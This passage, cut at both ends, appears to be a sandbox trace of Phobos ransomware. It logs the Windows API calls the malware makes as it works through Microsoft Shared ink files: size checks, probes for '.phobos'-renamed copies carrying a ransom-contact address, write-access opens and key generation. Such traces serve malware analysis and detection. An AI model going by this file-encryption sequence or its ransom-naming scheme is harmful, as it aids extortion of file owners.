shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.798] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=737) returned 1 [0163.798] CloseHandle (hObject=0x2cc) returned 1 [0163.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0163.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.799] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.799] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=221) returned 1 [0163.800] CloseHandle (hObject=0x2cc) returned 1 [0163.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0163.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.800] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.800] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=471) returned 1 [0163.800] CloseHandle (hObject=0x2cc) returned 1 [0163.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0163.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.801] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.801] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=215) returned 1 [0163.802] CloseHandle (hObject=0x2cc) returned 1 [0163.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0163.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.802] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.803] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1069) returned 1 [0163.803] CloseHandle (hObject=0x2cc) returned 1 [0163.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0163.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.804] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.805] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=213) returned 1 [0163.805] CloseHandle (hObject=0x2cc) returned 1 [0163.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0163.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.805] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.806] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1853) returned 1 [0163.806] CloseHandle (hObject=0x2cc) returned 1 [0163.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0163.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.807] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.807] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=219) returned 1 [0163.807] CloseHandle (hObject=0x2cc) returned 1 [0163.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0163.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.808] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.808] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=924) returned 1 [0163.808] CloseHandle (hObject=0x2cc) returned 1 [0163.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0163.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.809] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.809] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=215) returned 1 [0163.809] CloseHandle (hObject=0x2cc) returned 1 [0163.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0163.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.810] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.810] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=694) returned 1 [0163.811] CloseHandle (hObject=0x2cc) returned 1 [0163.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0163.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.813] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.814] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=805) returned 1 [0163.814] CloseHandle (hObject=0x2cc) returned 1 [0163.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0163.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.815] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.815] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3823) returned 1 [0163.815] CloseHandle (hObject=0x2cc) returned 1 [0163.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0163.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.816] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.816] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=591) returned 1 [0163.817] CloseHandle (hObject=0x2cc) returned 1 [0163.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0163.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.817] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.817] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=46624) returned 1 [0163.817] CloseHandle (hObject=0x2cc) returned 1 [0163.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0163.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.818] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.819] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=498624) returned 1 [0163.819] CloseHandle (hObject=0x2cc) returned 1 [0163.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0163.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.819] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: 